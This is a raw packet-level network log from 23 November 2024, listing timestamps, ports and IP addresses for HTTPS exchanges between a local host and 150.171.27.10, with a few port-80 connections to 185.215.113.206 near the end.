Nov 23, 2024 19:52:21.228893042 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.228986025 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.229439974 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.229517937 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.229528904 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.229705095 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.237818956 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.237834930 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.237914085 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.237930059 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.238115072 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.239547968 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.239564896 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.239598989 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.239614964 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.239655018 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.239664078 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.239696980 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.239705086 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.239725113 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.239752054 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.244843960 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.244915009 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.244923115 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.244977951 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.248953104 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.248974085 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.249027967 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.249041080 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.249068022 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.249149084 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.251529932 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.251553059 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.251588106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.251595020 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.251621008 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.251641989 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.252753973 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.252772093 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.252851963 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.252861977 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.253057003 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.257967949 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.257983923 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.258064985 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.258080959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.258141994 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.260277987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.260339022 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.260346889 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.260395050 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.262048006 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.262064934 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.262120962 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.262128115 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.262171030 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.262171030 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.264352083 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.264372110 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.264421940 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.264431000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.264472008 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.264498949 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.268381119 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.268398046 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.268452883 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.268470049 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.268487930 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.268512964 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.274830103 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.274847984 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.274902105 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.274902105 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.274913073 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.274955034 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.277724028 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.277740955 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.277801991 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.277811050 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.277863979 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.278733015 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.278750896 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.278798103 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.278815985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.278831959 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.278860092 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.280690908 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.280771971 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.280778885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.280824900 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.285286903 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.285303116 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.285367012 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.285378933 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.285432100 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.290154934 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.290169001 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.290235996 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.290241957 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.290287971 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.293634892 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.293664932 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.293735027 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.293761015 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.293787003 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.293807983 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.296084881 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.296159029 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.296170950 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.296231031 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.297367096 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.297383070 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.297429085 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.297435045 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.297475100 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.297501087 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.303565025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.303591967 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.303694010 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.303694010 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.303702116 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.304234982 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.309360027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.309375048 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.309467077 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.309472084 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.309516907 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.313222885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.313306093 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.313309908 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.313354969 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.316871881 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.316886902 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.316993952 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.317003012 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.317117929 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.320569038 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.320584059 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.320642948 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.320648909 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.320673943 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.320703983 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.327328920 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.327406883 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.327414036 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.327528954 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.328346014 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.328363895 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.328408003 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.328413963 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.328442097 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.328519106 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.355454922 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.355484962 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.355545998 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.355565071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.355597019 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.355621099 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.367221117 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.367290020 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.367300987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.367346048 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.367588997 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.367609024 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.367660046 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.367665052 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.367697001 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.367706060 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.396011114 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.396044016 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.396097898 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.396115065 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.396140099 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.396296024 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.406335115 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.406361103 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.406440973 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.406455994 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.406527042 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.407766104 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.407789946 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.407809973 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.407841921 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.407852888 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.407927990 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.407952070 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.407962084 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.408168077 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.415539980 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.415560961 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.415622950 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.415637970 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.415668964 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.415709972 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.419415951 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.419435024 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.419508934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.419521093 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.419589043 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.421681881 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.421756029 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.421766043 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.422014952 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.425718069 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.425740004 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.425820112 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.425833941 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.425858021 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.425936937 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.428375959 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.428404093 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.428446054 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.428453922 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.428483963 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.428512096 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.433660030 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.433679104 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.433768988 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.433778048 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.433841944 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.436161995 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.436182976 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.436266899 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.436275005 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.436327934 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.438711882 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.438729048 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.438798904 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.438807964 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.438832045 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.438851118 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.444250107 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.444317102 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.444325924 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.444369078 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.445815086 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.445837975 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.445900917 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.445908070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.445943117 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.445955992 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.447777033 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.447788000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.447854996 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.447863102 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.447916985 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.450418949 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.450436115 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.450495005 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.450500965 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.450537920 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.450563908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.455641985 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.455665112 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.455724001 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.455730915 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.455765009 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.455787897 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.461709976 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.461724997 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.461796045 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.461803913 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.461834908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.461848974 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.464237928 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.464287996 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.464330912 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.464339018 CET	443	49731	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.464375973 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.464394093 CET	49731	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.471528053 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.471544027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.471623898 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.471632004 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.471740961 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.491794109 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.491815090 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.491862059 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.491869926 CET	443	49729	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.491877079 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.491890907 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.491903067 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.491938114 CET	49729	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.491964102 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.491964102 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.491975069 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.492024899 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.492753029 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.492782116 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.492841005 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.492847919 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.492882013 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.492897034 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.494132042 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.494235992 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.494242907 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.494337082 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.525213957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:21.525278091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:21.525316954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:21.525358915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:21.526545048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:21.527525902 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.527540922 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.527643919 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.527652025 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.527709961 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.528219938 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.528238058 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.528310061 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.528317928 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.528420925 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.535856962 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.535919905 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.535928011 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.535991907 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.537491083 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.537503958 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.537590981 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.537597895 CET	443	49730	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.537808895 CET	49730	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.538577080 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.538594007 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.538695097 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.538701057 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.538734913 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.538757086 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.545507908 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.545605898 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.545614958 CET	443	49728	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.545799971 CET	49728	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.547802925 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.547818899 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.547907114 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.547914982 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.548037052 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.554986000 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.555000067 CET	443	49732	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:21.555082083 CET	49732	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:21.555082083 CET	49732	443	192.168.2.6	150.171.27.10
